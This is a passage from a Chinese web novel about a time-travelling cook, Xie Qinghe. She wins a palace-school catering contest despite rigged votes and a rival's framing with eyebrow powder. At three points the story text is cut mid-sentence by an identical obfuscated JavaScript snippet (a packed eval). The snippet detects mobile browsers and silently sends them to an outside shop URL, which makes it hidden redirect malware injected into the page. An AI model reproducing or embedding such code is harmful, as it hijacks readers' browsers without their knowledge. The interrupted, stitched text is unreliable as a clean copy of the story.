她取来大碗，放入打底麻酱，花生碎，加入一勺高汤，再拌入蒜末、葱花、芫荽、辣椒末、香醋、香油，这样一份灵魂蘸料就调制完成了。 一切准备妥当，谢青禾将煮好的各色丸子、灵魂小料倒入高汤中，再次熬煮半盏茶时间，随后开锅撒上白芝麻、芫荽、切块的油条，最后淋上一层辣椒油、倒上等量的香醋。 这样一份又香又辣的麻辣烫就做好啦！ 谢青禾敲铃示意完成。 身旁的监管小厮抹嘴，吞咽口水后，将盛好的几十份麻辣烫一一端至各评审台。 等候评审票数结果。 5. 自证清白 “不错，味道甚好！”国子监的五位大厨一致叫好。 下面的评审们也对其赞不绝口。 “这个丸子甚是劲道，软嫩弹牙。” “油条表层紧实不掉渣，泡在汤里在尝一口，味道更是妙哉！” “汤汁浓郁，咸辣适中，喝上一口，真是唇齿留香！” 二楼厢房内，萧蘅身穿月牙色长袍，锦靴踏在地毯上，腰挂白玉环，香囊坠于左侧。 他端起适才仆人递来的碗箸，白净细长的手指捏着汤匙，靠近鼻子时，他闻到一股极其浓郁的味道，不反感，细嗅下甚至两腮有些发酸。 他意识到自己对此饭食毫不排斥，甚至有一丝雀跃。 这是令他感到讶异的。 儿时他曾亲眼目睹自己父皇、母后被人饭中投毒不治身亡。 现在哪怕是自己生理需要，心理上也无法抵抗对食物的厌恶。 所以他身高八尺有余，体重却不及一百四十斤，整个人看着有种病弱阴郁的气质。 他夹起一个黄白相见的丸子，咬破后里面的汤汁鲜美，肥而不腻，实在美味。 味蕾与心理阴影不断抗衡，最终他没忍住，连碗底最后一滴汤都没剩，全数入腹。 随后他让侍从递出优等票。 凉亭内，文王萧岐没料到，外貌婉约动人的谢青禾，竟有如此绝妙手艺。 文王享用完毕后，食髓入骨，心情大为好转，于是毫无意外递出优等票。 谢婉儿虽然很讨厌她这个庶妹，但平心而论，她品尝后，心中确实无法产生难吃这样的想法。 但转念想，她只是一个庶女，凭什么一而再再而三地勾引文王，还事事压在自己头上！ 她不甘心！在考核官收签时，她果断递出差等票。 台上官员核对票数时，随着一声声的‘优等票’，抓心挠肺的不止有谢青禾，还有集贤楼的赵二虎。 “你快点做！”赵二虎边看台上数票的状况，边不耐烦地催促自家大厨。 在集贤楼的厨师做完最后一道程序后，赵二虎迫不及待地敲铃示意。 监管小厮过来收餐，就在赵二虎忙不失迭的将饭碗放在托盘时候。 台上主考官突然大声宣判：“青云楼45个优等票！” 赵二虎手一顿，汤水洒了出来。 45个优等票意味着什么？上次供餐比试，票数也未曾出现过这样高的优等比例。 但比试还有一炷香的时间，时辰到后胜负自然分晓。 剩下的时间内，未完成的厨师聚精会神地专注手中的食材，场上一时间烟火缭绕，气氛焦灼。 “咚！”评审管用力敲响金锣，响亮的声音意味着第一回合比试时间已到。 未完成的厨师纷纷退场，后上交的饭食经评审，获得优等票数最高的是集贤楼，40票。 所以青云楼以第一回合魁首的名头成功晋级。 赵二虎心中愤愤不平，这谢青禾只做了一碗汤饭，怎么就能拿第一？ 就凭借那一碗毫不起眼的汤饭？于是心中暗下决定，下一轮一定要将谢青禾死死地踩在脚下！ “不公平！”突然从人群中冲出一人大喊，话落后直直地扑到评审官面前。 “何出此言？”评审放下写着总票数的纸张，抬眼看着他。 “大人，适才我在台下一直观察着，别家没有食材都是让小厮去商铺现买自然食材。” 那人斜眼看向谢青禾，抬手指着谢青禾继续道：“只有她，她的食材好似凭空出现，而且在炖煮一番后就完成了，显然不是自然食材！” 众人听后，一片哗然。 嫌人穷怕人富的心理自古到今都有。 一时之间，那些落败的庖厨们纷纷交换眼神，一同加入这场毫无根据地讨伐中。 眼看局面失控，主评审咳了一下，花白的胡须抖动着，如晨钟暮鼓般的声音传来，“肃静！” 市井百姓渐渐安静下来。 主评审颤抖着胡须说道：“每轮胜负皆是由国子监有经验的庖厨、各位学子尊亲、朝堂官员，精心定夺后地决策，不公平的言论实为叵测……” 话语一出，市井百姓再次躁动起来。 “但是，现下我们有一决策，大家暂且细听！”主评审用尽力气喊道。 百姓的眼神齐刷刷的看过来。 主评审继续道：“当下我们决定，凡在国子监的百姓皆可投票，支持青云楼继续参赛的可举手，不支持的暂且不表决意见。” 谢青禾知道，自己若不抓住这次机会，恐怕在京城这一地界再难翻身，况且自己在现世好歹多次获奖，也曾获得过厨神的名誉，做些丸子还是手拿把掐的，只不过刚才是有点贪快罢了。 谢青禾清亮的嗓子说道：“若诸位肯给机会，小女子定当在下一回合制作丸子以证清白。” 这是国子监的学子们也都来凑热闹，适才他们就闻到麻辣烫那独特的味道，学堂内每天餐食都是那几样早就腻烦了。 于是此时他们纷纷举手以表赞同。 除了那些落败的庖厨，其余众人都想知道此女子饭食到底干净与否，又想看看这样一个弱女子是如何将那些经验丰富的老庖厨打败的，于是纷纷亮牌同意谢青禾继续参赛。 因此谢青禾带着众人的质疑进入了第二回合。 这也就意味着，第二回合的饭食中必须要有各色丸子。 于是谢青禾趁比试未开始前，便吩咐身旁小厮赶忙去集市上买两斤牛肉、四条鳜鱼。 等到比试正式开始时，肉类食材正好采买完毕。 谢青禾让阿鱼将牛肉剁至烂熟，自己则在一旁快速处理鳜鱼。 去鱼鳞是她自己研究出来的小技巧，只须用半节胡萝卜就能轻松解决。 她取出一根胡萝卜，斜切一刀，接着逆着鱼鳞向前推，这样处理不仅快还能初步祛除鱼腥味。 之所以选用鳜鱼就是因为刺少，处理起来更方便。 祛除鱼刺，刨去内脏，谢青禾一番清洗后，切入生姜、大蒜后将鱼肉剁成肉泥。 接着她找来大碗放入肉泥，在加入几枚蛋清、一勺胡椒粉、适量食盐、两勺豉油、一碗木薯粉，充分搅匀后肉泥此时呈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125740|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现鹅黄色，用铲子铲起不轻易会掉落就代表差不多了。 接着她问系统借来一个长方形的木盒子，在模具内刷油后，将肉泥全部倒入，表面铺平整后盖上笼布，上笼屉蒸半柱香。 在这半柱香内她唤阿鱼煮水，自己又赶忙将牛肉用相同的手法处理去腥后，用食指和拇指将牛肉泥攒挤出似乒乓球大小的个头在锅中。 经过沸水的滚烫，原本粉红的肉泥逐渐变成白色后，意味着牛肉丸子就此做好。 众人的视线好似被控制一般，跟着谢青禾捞起那圆滚滚的白丸子的动作而转动，一个个哈喇子仿佛都快流出来了。 谢青禾利用刚才剩下的牛肉泥准备在做点蟹排。 螃蟹寒凉，吃多了伤身，况且牛肉市价要比蟹肉贵出三倍不止呢。 她有信心用牛肉做出来的蟹排一定让别人赞不绝口！ 于是她立刻取来胡萝卜，‘嘟嘟嘟’飞快将其捣压出汁，并将汁水倒入糯米粉中搅拌均匀。 谢青禾有揉出一盆纯糯米面团，将其分成四份，胡萝卜汁面团也分成四份。 随后将其交错叠放在一起，用面杖擀压扁平，切成几十个长方块的剂子。 这些黄白相见的扁长面片上，将牛肉泥铺平整后，再盖上一片面片。 放入沸水中炖煮后，这样一份蟹排就做好啦！ 这下众人的眼睛瞪得溜圆，这么新奇的做法，当真头一次见。 此时鱼肉泥蒸的差不多了，谢青禾掀开盖子，将模具倒放，鱼肉就这样软糯劲道的弹了出来。 之后为了不沾刀具，谢青禾先用刀蘸了点水，顺利的将其切成方方正正的小方块。 谢青禾又用锅将其微微煎烤到每面金黄，用食箸夹起，扔回锅中能弹起来就可以了。 随着青云楼这边如火如荼的制作，众人的眼睛被谢青禾娴熟的刀功手法、新奇构思勾的牢牢的，根本挪不得半点。 赵二虎眼见谢青禾不仅自证了清白，反而还牢牢抓住众人的心。 国子监的餐供可是只选一家，他预感到有谢青禾在，自己很难在最后一局获胜。 若是真的让谢青禾走到最后，那他面临的压力估计会成倍递增，所以第二局就是将谢青禾除掉的最好机会。 他恨只恨自己没在一开始就贿赂一下台上的那些评审们！ 焦急万分之际，他看到那个考核官。 考核官姓朱，是谢府主母的亲弟弟，谢婉儿的亲舅舅。 赵二虎心中的郁结顿时消散大半，真是正想瞌睡有人递枕头。 他也不帮忙处理食材了，留下自家大厨，径自向朱考核走去。 “朱考核。”赵二虎笑得见牙不见眼，“可否借一步说话？” 朱考核眉头一皱，细长的眼睛撇着他道：“你是谁啊？” 赵二虎继续谄媚地笑道：“我是谁不重要，但我找您的事，事关您侄女谢婉儿的婚事啊大人。” 朱考核一听，眉头不皱了，眼睛瞪得溜圆，随后他半信半疑的跟着赵二虎去了人烟稀少的后花园。 看看他葫芦里到底卖的什么药。 6. 丸子盖饭 只见此处环境清幽僻静，又有枝繁叶茂遮挡，大有曲径通幽的意思。 “说吧。”朱考核面色不虞，只因这夏日炎炎，一路走来，身上有些黏腻。 赵二虎一直跟随其后，看着朱考核那红色的官服下摆，不由得想起一桩关于谢府主母的旧事。 谢府主母朱氏，家境贫寒。其父四十才进学，后多年未中，只捞得半个穷酸秀才，却耗尽家中钱财，后又得一麟儿，实在无力再去精进学业。 古人讲究个学而优则仕，古代学子唯一在人前显贵的只有做官这一条路，因得那年其父放弃进学，邻里街坊再也不对其客气，朱家不论长幼经常被他们言语中伤。 这些往事皆被朱氏看在眼中，自幼就在心中暗自发誓将来一定要通过高嫁，将这些趋炎附势的小人通通踩在脚下。 后来朱氏成功了，她凭借二八年华时的好样貌成功嫁于一商户，就是如今的谢老爷。 那麟儿就是现在的朱考核，后承姐夫之恩，花费金银细软万两，才在国子监的后厨谋得一采买的职位。 正因如此，朱考核这才算是一只脚跨进了皇城，这个人人皆想来的地方。 姐弟二人皆是过怕了苦日子，后有些薄银就开始前倨后恭的势利之人。 只要人有所图，那凡事皆有回还的余地。 赵二虎回过神来，弯腰站定，恭敬的说道：“朱大老爷，此次劳烦您大驾过来，只为告知您一件事，您的侄女谢婉儿与文王的婚事恐有生变。” 朱考核心中一震，这文王可是当朝皇帝的亲叔叔，权势滔天，多少人想跟文王攀关系都没有门路。 如今自己侄女偶得高枝，能进府做妾已是他们这无才无钱人家的最好去处，自己也能跟着侄女一同沾光。 先前二人只是订婚，此事若中间出现纰漏，那还了得？ 其中厉害关系，朱考核心中在清楚不过。 面前这人他从未有过照面，言语真假他无法完全相信，但无风不起浪，朱考核心中还是不安，于是面色不改，心中却耐下性子听他言语。 赵二虎见他有心听，于是他看向四周确保再无他人在场后，俯身倾耳道：“大人，此次比试中，青云楼的那个小娘子也有意攀附文王。” 朱考核眉头紧皱，转头看向赵二虎，试图从他面上找出破绽。 赵二虎自是看出朱考核不信，“大人您若不信，可问随便找来一庖厨问下，刚才进门时，谢青禾不知用了什么手段，引得文王身份这样尊贵的人竟主动开口关心她？” 朱考核面色严肃。 “若不是勾引，文王会去关心她一个庖厨？”赵二虎继续添油加醋道。 朱考核仔细回忆，比试中的女庖厨只有一人，初次见面时，他就感觉样貌如此面熟，一双杏眼滴溜圆，小巧挺直如葱管的鼻子，笑起来有一副酒窝，这不是谢府庶女谢青禾吗？ 谢青禾的母亲是谢老爷从烟花柳巷娶来的的妾室，一进门就各种的争风吃醋，朱氏曾多次跟娘家人抱怨过。 当下朱考核心中就下了结论：这谢青禾当真是里里外外都随了她那狐狸精的妈，生就一副狐媚子样，勾引人的本事也是有样学样。 赵二虎见朱考核若有所思，于是便直接道出此次目的，“大人，这样的女子万不能让她抛头露脸，出现的次数越多，谢婉儿的妾室之位就多一份危险。” “所以……你想……”朱考核怔怔地看着赵二虎，心中生出一个计谋。 赵二虎见朱考核终于有所反应，于是将自己的想法告诉他，二人简直臭味相投，一拍即合。 无论如何，这次都要让谢青禾退赛。 ＊ 这边谢青禾根本不知自己已经被人算计，仍耐心地准备着饭食。 她将丸子全部做好后，放在竹篾里。 之后她淘好米后，在上面滴入几滴香油，这样蒸出来的米饭更松软、还不易粘锅。 米饭需要蒸一炷香的时间，接下来需要准备丸子盖饭的料汁。 只见她取来一只瓷碗，倒入豉油、两勺花椒粉、两勺淀粉，再倒入半碗清水搅拌均匀，这样一份喷香的料汁就调好了。 接着谢青禾在锅中倒入一锅底油，将葱花、蒜末、一勺辣椒酱爆香翻炒出红油。 然后将各色丸子倒入锅中翻炒均匀，取来料汁尽数倒入，此刻锅中颜色油亮鲜红。 谢青禾吩咐阿鱼将炉火烧旺，将丸子大火收汁即可。 等到锅中汤汁粘稠，全部裹在丸子上时，又撒上一层葱花点缀，青翠的颜色覆在红亮亮的丸子上格外好看。 但米饭还未蒸好，谢青禾只得耐心等待。 不知为何，谢青禾感觉这次入围的庖厨完成都很快，目前有八家都已完成饭食，优等票数最高的是集贤楼45票。 这次能进入最后一轮的只有二家，竞争更激烈，剩下最后半柱香的时间，场上气氛一时焦灼起来。 谢青禾看了看场上其余庖厨，发现只剩下自己未完成，但她不慌，自己有把握晋级，万事急不得。 时辰到后，谢青禾将米饭端出，将刚才翻炒过的丸子直接盖在软糯的米饭上就完成啦。 谢青禾敲铃示意完成。 监管小厮将几十份丸子盖饭一一端至评审面前。 众人刚才早已尝过一轮，每家的菜式都很繁复，让人不知从何下手。 青云楼的却只有一只小碗，小巧玲珑，妙得可爱。 众人将浓郁的酱汁跟米饭拌在一起，翻动时饭香扑鼻，不由得口舌生津。丸子颗颗饱满，肉质鲜美，一口下去弹嫩爽滑又多汁。 妙哉！ 众人纷纷叫好，一一递上优等票。 朱考核此时将票尽数收齐，赵二虎同他互换眼神，二人彼此心知肚明。 小厮在一旁唱票时，朱考核故意少登记几笔。 最终青云楼37票，比第三名的福满楼少5票，第二名的醉仙楼少3票！ 谢青禾震惊之余，不敢相信，自己在现世从未失手过，哪怕全市大赛上拿的冠军也是很轻松的。 怎的这次得票如此低？ 不应该，不可能…… 场上传来催促的声音，这些落败的庖厨应尽快离开赛场。 “不可能！”谢青禾大喊道，“适才我听得小厮唱票，是45张优等票！” 那些庖厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125741|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们讥笑道：“我还说我有50张优等票呢……” “青天白日说什么胡话呢？” “白纸黑字，明确的票数，怎会有假？” “她这样做不正是怀疑在座的考官吗？” 一时间流言蜚语甚嚣尘上。 朱考核担心所做事情有所败露，急忙吩咐身旁小厮，将这些未晋级的庖厨尽快遣散出场。 突然一身玄青铠甲的护卫，手拿御令要台上的五位评审一同去二楼参拜一下。 这五人中正有朱考核。 众人看到御令才知，二楼厢房内一直坐的竟然是当今圣上。 五人顿时吓得瑟瑟发抖，尤其是刚做完亏心事的朱考核。 催促在即，无奈五人只能跟上小厮前去走一趟。 众人不知发生何事，只看得那台上五名评审皆神色不安地被带走，有种山雨欲来风满楼的气势。 谢青禾也嗅到一丝不对，于是她未离开，只是在下面暗自等待。 几人被带到二楼厢房，只觉室内悄然安静的可怕，众人皆屏气凝神，唯恐冲撞了屋内人。 重重幕帘下，那人的面庞也看不分明，只听得，一声清冷的声音，“青云楼的庖厨没有算错，确有45票。” 众人皆‘噗通’跪倒在地，不敢出一言来辩解。 “考核官是谁？”声音冷若寒蝉。 朱考核吓得两腿两腿战战，连连跪下向前挪动，心中自知理亏，大喊，“臣冤枉啊！” 里面那人冷哼一声，“哦？” 朱考核像抖豆子一般，将适才集贤楼赵二虎与他说的那番言论一五一十的全部说出。 他知道此次恐怕凶多吉少，自己万不能将自家欲攀附文王之事说出，否则婉儿定不能如愿嫁与文王。 “回皇上话，皆是那青云楼掌柜赵二虎，他看青云楼屡屡压制于他，心中气不过，便让微臣在票数上……做手脚！”朱考核说到最后，声音可谓气若游丝。 萧蘅气极反笑，“今日起，革除朱某采买一职，未守其职之本分，听信流言，蒙蔽世人，压入大理寺鞭打三十，听候发落。” 不等朱考核反应，侍卫已将其拖出厢房，呼救的声音渐渐远去。 谢婉儿看到自己的舅舅被人拖出来，心中一惊，她赶忙向文王求救，泣涕涟涟，好让人心疼。 文王看她楚楚可怜的样子，心中有些不忍，但更多的是对他这个侄儿异常举动感到好奇。 萧蘅不仅来评审，还要仔细查看了此次比赛，不公之事他居然主动出手。 明明是国子监的事，他为何如此上心？ “起来吧，我稍等片刻便去看看事情到底如何。”有了萧蘅这句话，谢婉儿顿时安心大半。 不一会，二楼厢房的评审神色惶惶的下来。 下来的还有四个官员，他们径直走向赵二虎，“您违反比试秩序，现圣上发令，青云楼需闭店整改一月，您也要跟着我们去大理寺走一趟。” 赵二虎登时面如纸色，未料到事情竟会发展到如此地步。 众人见这第一名的青云楼掌柜被带走，心中皆纳罕道：这第三名的福满楼要替补上岸了吗？ 7. 碱水面包 众人仍热火朝天的讨论着。 文王萧岐未带仆从，信步闲庭的缓缓走到二楼厢房。 厢房内珠帘玉幕，影影幢幢让人看不清楚，每道柱子旁边都有侍女守立。 室内有一股混合着檀香、沉香等木质香气，气味醇厚中又带一丝甜味，袅袅烟雾从镂空山形的香炉中飘出，此香名为宁神香，经常在皇帝所在的地方闻到。 侍从见到文王后，逐次弯腰屈膝行礼。 地上铺着炫目华丽的地毯，上面坠有宝石，在阳光的反射下，更加流光溢彩夺人眼球。 “皇侄近来可好？”文王丝毫没有一点君臣之礼的问道。 这其中缘由大约要从当今圣上儿时的一场大病说起。 当时皇帝年幼，年仅六岁，先王和皇后突然双双病故。 那时也是这样酷暑的天气，人人都说先王和皇后外出避暑，不幸跌落山崖。 突然失去双亲后的萧蘅自此大病一场，在床上躺了半年，药石无医，人人都说小皇子撑不过今年。 当时群龙无首，小皇子本该继位却缠绵病榻，生死难料。 趁此空档文王再也不掩饰心中对皇权的极度欲望，他杀忠臣，选亲信，朝中大臣大换血，人人都知他要称帝。 朝中元老泣血道：“皇子尚在，贼子篡位，其理何在？” 文王想要继位，在元老的劝说下，遂采取了一个折中的办法，皇子若半年未醒文王即可继位，半年之内暂且代理朝政。 好在小皇子争气，半年后生活起居都已正常，可唯独落下这看见饭食就呕吐的毛病。 不论御膳房如何改善饭食，小皇子就是吃不下。 以至自小身体孱弱，荤腥更是半点闻不得。 文王是最盼望小皇子死的，可他回来了。 回来了又如何？在这半年内朝政早已被文王把控，小皇子回来也是有名无权。 过去种种以至二人关系一直有些微妙。 萧蘅侧卧于榻上，闭目养神，修长的手指有一下没一下的敲打着曲起的膝盖，月牙色广袖垂于地，只两侧须发束于脑后，完全找不出十四年前那一丝一毫的青涩稚嫩。 面对文王的关心，萧蘅一点没放在心上，压根没打算回应。 文王权倾朝野，哪肯受气，眼见萧蘅一副完全不理会的样子，文王看到就添堵。 本想询问朱考核的事，现下完全没心情，心中反而埋怨起谢婉儿，害他在皇帝面前丢了面子。 出门就踹了随从小厮两脚，拂袖长去。 萧蘅仍卧于榻上，丝毫没有送客的意思，内心怦等着青云楼下一轮送上的饭食。 因此这次萧蘅帮青云楼，没有其他原因。 他想知道青云楼还能做出哪些新奇的饭食，但却有人妨碍他好不容易生出的食欲，他当然要出手处理。 这边四个评审回来后，惊魂未定的坐在台上，甫又想起皇上的吩咐，主评审稍理衣冠后，清咳一声，强作镇定道：“望各位厨师能遵守秩序，不要使用不符合比试的方法与手段。” 刚才的那些话，再结合集贤楼明明晋级却被人带走，众人纷纷明白过来，那些话意指赵二虎适才违规操作。 主评审继续道：“经过诸位评审的重新审核，晋级厨师分别来自第一名青云楼，第二名醉仙楼。” 谢青禾好像听到自己晋级了，内心忍不住欢欣雀跃，和阿鱼跳起来拍手叫好，认为是皇天有眼，评审们公正严明。 万不知是当朝皇帝暗中帮了他们，但这种话任谁都不信。 谢青禾立刻振作精神，回到刚才的灶台前，准备最后一轮的比试。 这次只有两家晋级，对家醉仙楼相较集贤楼的开店时间可能没那么久，但也开业有十余年，厨师也都是多年的老师傅。 但狭路相逢勇者胜，谢青禾不怕。 国子监皆是刚过束发之年的孩子，看到他们，谢青禾就想到自己为数不久的求学经历，每到晌午就被饿的头晕眼花。 所以那顿早餐真的很重要。 人们常见的早餐可能就是包子油条豆浆这些。 但夏天人们早晨通常不喜欢吃这些油腻的食物。 那什么食物易放且夏天吃起来不黏腻恶心呢？ 谢青禾想起现世的J南酥苑。 每每心情不佳时，就会跑去那里买几块面包。 甜食往往会在人不开心的时候分泌多巴胺，也会有快速的饱腹感，是最容易获得快乐的一种方式。 谢青禾最爱吃的就是它家的碱水面包，暄软有嚼劲。 她将原料一一核对后，发现没有老面，现世还能有酵母粉。 转头思索之际，发现上一轮锅中还有剩下的米汤。 心中大喜，米汤也能用来发酵面粉，但目前还要在将其处理一番。 趁比试未正式开始前，谢青禾将阿鱼喊来，告诉他一会将米汤中放入两勺干面粉，搅拌成糊状，利用灶台的余热，在旁边静置，直至表面冒出气泡，微微发酸即可。 阿鱼听后直夸阿姊天才，谢青禾傲娇一笑，坦然接受。 吩咐完这些后，铜锣“咚”的一声闷响，意味着比试正式开始。 这次只有两家，场上所有人的目光都汇聚过来，厨师的任何动作都暴露在众人之下。 谢青禾向对面已过不惑之年的老厨师拱手作揖。 谁知对面那人肥硕的面庞颤动一下，连带着络腮胡也跟着抖动，随后发出一声冷哼。 对面老厨师的态度，谢青禾在清楚不过，不过是看她一个二十出头的小姑娘连连击退众多经验丰富的老厨师，内心不服气罢了。 谢青禾并不在意，她将阿禾做好的酵母水全部倒入面粉中，再将温水分次淋入，用木棒搅成面絮后，双手揉面，直至面团表面光滑、不沾手，而后盖上笼布发酵即可。 这段时间内，谢青禾开始制作抹茶馅料。 她取来糯米放入石臼中研磨成粉放入锅中，随着竹铲的翻动，米香渐渐漫出，白净的糯米粉此刻也被炒至微黄。 接着她找出陶盘，动作轻快娴熟，将粉放在上面晾凉。 随后又取来嫩茶尖，小火烘干水分，直到指尖轻轻捻动就成细沫，这样可以轻易将茶叶碾碎成粉。 这些茶粉再倒入双层细绢手绢中，轻轻抖动， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125742|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细粉就如尘屑般滤入粗陶瓦罐。 调馅时，盆中依次放入茶粉、熟糯米粉、一碗白糖、一勺细盐，用木棒捣至没有半点结块时，在舀半勺油，快速搅匀成散絮状，然后将馅料分成等份待用。 此时将发酵好的面团分成均份，每份都按成中间厚、边缘薄的圆饼，接着放入刚才做好的抹茶馅料。 接着指尖从边缘处向上收拢，拇指反复揉压封口，直至没有缝隙，这样反复揉搓全部封口。 又再将它们全部搓成中间胖，两头尖的梭状后静置。 谢青禾取来草木灰入锅，加入沸水搅散，静置沉淀后，用细纱布滤出草木灰。 随后在锅中加入清水与适才过滤好的碱水，大火烧至微微沸腾出气泡后熄火，将碱水放凉备用。 接着端来刚才做好的面包造型，尽数放入草木灰碱水中。 这期间，谢青禾一直在旁边适时推着，防止面包间粘黏，每个泡30秒后就可以捞出，并放在笼屉上沥干水分后，就开始割包了，此时面团呈现焦黄的状态。 谢青禾取来刀，每个都在上面直直地割上两下，越深出来的形状越好看。 此时只剩下最后一步，她将炭炉烧至无明火只留余温的状态。 接着在上面架上竹篾，将面坯一一摆上，小火慢炙着，直到面坯表层被烤至深黄。 待所有面包烤好后，谢青禾随手掰开一个，硬脆的表皮中散发出淡淡的茶香，熟悉的味道再次袭来。 谢青禾敲铃示意。 监管小厮将面包一一放入盘中，端至评审面前。 最后一轮果真激烈，几乎同时醉仙楼也敲了铃。 对面做的是烧鸡。 这在吃惯山珍海味鲍鱼人参的官宦子弟面前，吸引力确实不大。 于是人们纷纷将目光转向谢青禾做的类似‘馒头’一样的东西。 评审们有人拿筷子轻敲表层，那脆脆的外壳发出“笃笃”的声音。 咬上一口，入口所即的是那绵密紧实的馅料，茶香扑鼻，中和了碱味的生涩，甜而不腻。 虽然表层干脆，但完全不掉面屑，面包里层绵密紧实、暄软又不失硬度。 大家吃完后都忍不住再来一个。 醉仙楼的烧鸡就这样被众人抛之脑后，一个个都沉浸在这个具有茶香味的‘馒头’中。 就在众人沉浸在美食中时，谢婉儿派去打听的小厮回来了。 那小厮却说一炷香前文王去了厢房只向皇帝问好，并没有提到朱考核之事。 谢婉儿心中顿时一沉，若是没有及时救出舅舅，那他在里面轻则革位削职，重则被黥面流放蛮荒之地。 谢婉儿心中越想越着急。 扭头看到文王口中嚼着谢青禾做的那个绿色馒头，面上一副沉醉之色，此事却像从未发生过一般。 若不是因为谢青禾那句话，她的舅舅如何能被查处？ 如今她唯一所能依靠的文王却丝毫不在意，朱考核是谁，他可能全然不记得了吧。 谢婉儿越想越不平衡，认定了文王偏袒谢青禾。 谢婉儿决定，这次她一定不让谢青禾好过！ 8. 拿下供餐 监管小厮走来，将粗陶盘子放在沉水木桌上，发出‘叮当’的声响。 谢婉儿看着盘子中那个金黄中又带点绿色的梭形面团，确实有食欲。 但心中想着刚才谢青禾居然将这物什放到草木灰的水中浸泡，心中就有点不适。 她眼珠转动，心想正好给自己提供了挑刺的把柄。 只见她唤来丫鬟，吩咐她将妆奁来拿。 丫鬟以为她要补妆，于是恭恭敬敬的拿了过来。 谢婉儿接过缠丝雕花梨花木妆奁盒子，从中拿出一节前几日文王赏赐给她的螺子黛。 她有些不舍，毕竟这螺子黛可是一支价值十金，寻常小门小户人家根本接触不到，这枚还是文王从西域得到的五支，文王府其他女子还未得到的稀罕物，便全数给了她。 螺子黛呈青黑色，质地坚硬，因此用力掰断是不可能的，只能用尖锐的工具切除。 文王身边的人里里外外都不允许带有尖锐之物，以防有心之人做行凶之事，每次面见他时，侍女都会将来人里里外外搜查一番。 谢婉儿只能另想他法。 众人都在感叹青云楼饭食的新奇，人们不住地赞叹，引得谢婉儿内心异常焦急，手不自觉的收紧，指甲深深嵌在肉中而不知。 等到指甲因用力而有所弯折时，她轻呼一声，而后缓缓松开。 她伸手看着那涂着豆蔻嫣红且尖长的指甲，唇角不自觉的勾了一下。 谢婉儿从妆奁中拿过螺子黛，用长长的袖子拢上藏在袖内，随后她用指甲用力刮取黛粉。 螺子黛粉质细腻坚实，光滑的指甲必须用尽全力才能取下一二。 接着她拿起文王剩下的饭食，指甲轻轻敲打表皮，黛粉顺势附着在上面。 趁着旁人享用美食之际，谢婉儿将面包放回原位，然后看着盘中的面包，瞪大眼睛捏着嗓子惊声尖叫道：“啊呀，这里面怎么会有灰尘啊？” 众人听到后，目光纷纷投向谢婉儿。 谢婉儿将众人目光吸引来后，开始她的歪曲之词，“适才我就看见青云楼的女庖厨从灶口内铲出些灰烬来，倒入水中后，她竟将这腹中之物放在那等腌臜物中，看看，这面团上当真有这些浊物。” 话音落毕，众人纷纷探头看向她盘中的物什。 只见那翠绿的抹茶馅上隐约有一簇黑色的东西。 “国子监都是贵子王孙，青云楼如此不讲究，吃坏人如何是好？”谢婉儿煽风点火道。 这话戳到大多学子尊亲的心，登时场上乱作一团。 谢青禾做饭最在意卫生，断不会出现草木灰粘黏在饭食上一说。 她向后方扭头看去，只见那影影幢幢的纱帘后坐的正是谢婉儿。 真是冤家路窄。 此次报名评审的人员，需要有学子在学堂入读。 谢婉儿还未出阁，自是没有孩子，因此必定不是评审，却又在这里指指点点所欲为何，谢青禾在清楚不过。 显然她说的话严重影响到谢青禾的票数，评审们此刻不知如何评分，一方面饭食确实好吃，另一方面这污秽实在不能忽略。 正在众评审不知如何是好的时候，谢青禾大喊道：“评审大人，可否让我查看一下。” 主评审刚才因为青云楼票数不实之事被皇帝传唤过去，此时仍处于惊吓未回神，心中边认为皇帝是中意青云楼的，万不能得罪。 以防万一，主评审抬头看向二楼厢房，发现并无任何动静，遂拂手表示同意。 谢青禾向众评审颔首后，走到谢婉儿身边。 她并未看谢婉儿，只是拿起饭食来检验。 谢青禾捻起一点青灰，发现指尖留下深深的青黑色痕迹，若是捻动草木灰，指尖也只是一片浅浅的灰白之色。 这哪里是草木灰，分明是女子闺阁中用的黛粉，况且这颜色黑中带有些青色，用力也难以擦掉，定不是寻常女子用的普通黛粉。 她抬头看到那沉水木桌上放着一个缠丝雕花妆奁盒子，里面放着一只底部洁白海螺状、顶部露出的部分尖尖黑黑的，这不正是贵族女子才能使用的螺子黛吗？ 谢青禾再转头看向谢婉儿那一副时刻服侍文王的娇媚模样，她猜测这螺子黛定是文王赏赐给谢婉儿的。 她抬头起头，一双清亮的眼眸直视谢婉儿，“小姐，这不是奴婢所做。” 